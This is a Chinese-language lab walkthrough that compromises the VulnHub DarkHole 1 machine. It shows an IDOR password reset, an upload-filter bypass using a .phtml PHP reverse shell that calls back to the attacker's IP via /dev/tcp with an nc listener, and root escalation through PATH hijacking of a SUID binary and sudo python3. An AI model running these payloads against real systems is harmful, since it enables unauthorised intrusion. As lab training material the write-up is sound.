渗透环境
攻击机: IP: 192.168.216.129(Kali)
靶机: IP:192.168.216.130
靶机下载地址:https://www.vulnhub.com/entry/darkhole-1,724/
进行渗透
一、 获取端口信息
nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。
nmap -O -sV -p- -A 192.168.216.130
开放了22和80端口。
二、 寻找WEB漏洞
访问80端口,出现登录框,并且可以注册账户
注册test账户并登录,登陆后跳转到更改用户信息和密码的页面
猜测这里存在越权修改其他用户密码的漏洞,尝试修改自己的密码并抓包
发现有两个id
,我们新建的用户id为2,那么原有的用户id应该1,尝试将body里的id修改为1,返回修改成功
猜测原来的用户名为admin,密码刚才我们已经成功修改为admin了,尝试登录
登录成功,且该页面有上传功能。经过测试,这里上传文件只对后缀名进行了过滤,当我们上传php
后缀的文件时会失败,但是上传phtml
后缀的文件是可以的。这里可以上传一句话木马用蚁剑进行连接,也可以直接上传反向连接的php代码,我们使用后者。
1.phtml内容如下
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.216.129/4444 0>&1'");?>
让目标主机反向连接192.168.216.129(即攻击机)的4444端口
上传1.phtml,显示上传成功,并返回了上传文件的链接
点击红框中的File,跳转到以下URL
http://192.168.216.130/upload/1.phtml
接下来我们在kali上监听4444端口
nc -nlvp 4444
再次访问:http://192.168.216.130/upload/1.phtml
看到已经成功反弹了shell,当前用户是www-data
三、 提权
查看可以登录/bin/bash
的用户
cat /etc/passwd | grep /bin/bash
当然也可以通过查看/home
目录查看创建的用户
常规思路,查看具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
发现可疑文件/home/john/toto
,直接执行该文件
观察其输出,不难猜测,该文件调用了id
命令,因此我们可以采用命令劫持的方式进行提权
echo 'chomd +s /bin/bash' > id #在当前文件夹下写一个id文件
chmod 777 id #更改权限
export PATH=/var/www/html/upload:$PATH #将当前路径加入环境变量
/home/john/toto #执行该文件,会调用我们重写的id
执行时发现我们的chmod +s命令发生了权限错误,即我们无法让自己写的id文件拥有SUID权限,那么只能先放弃在这里进行提权,先使用john的身份进行登录
echo '/bin/bash' > id
/home/john/toto
python3 -c 'import pty;pty.spawn("/bin/bash")' #创建交互式shell
看到我们已经以john的身份登录进来了。
在/home/john/
下发现password
文件
得到john用户的密码root123
查看John用户可执行的特权命令
sudo -l
看到John用户可以以root身份运行python3
和file.py
。
因此我们可以尝试修改file.py
的内容
echo "import pty;pty.spawn('/bin/bash')" > file.py
当执行这个py文件时,会打开一个可交互的shell
接下来执行这个文件
sudo python3 /home/john/file.py
在这里有一个坑,当我们使用相对路径时会无法执行,使用绝对路径时才可以,我也不知道为啥
此时我们就已经拿到root权限了,flag在/root
下,渗透结束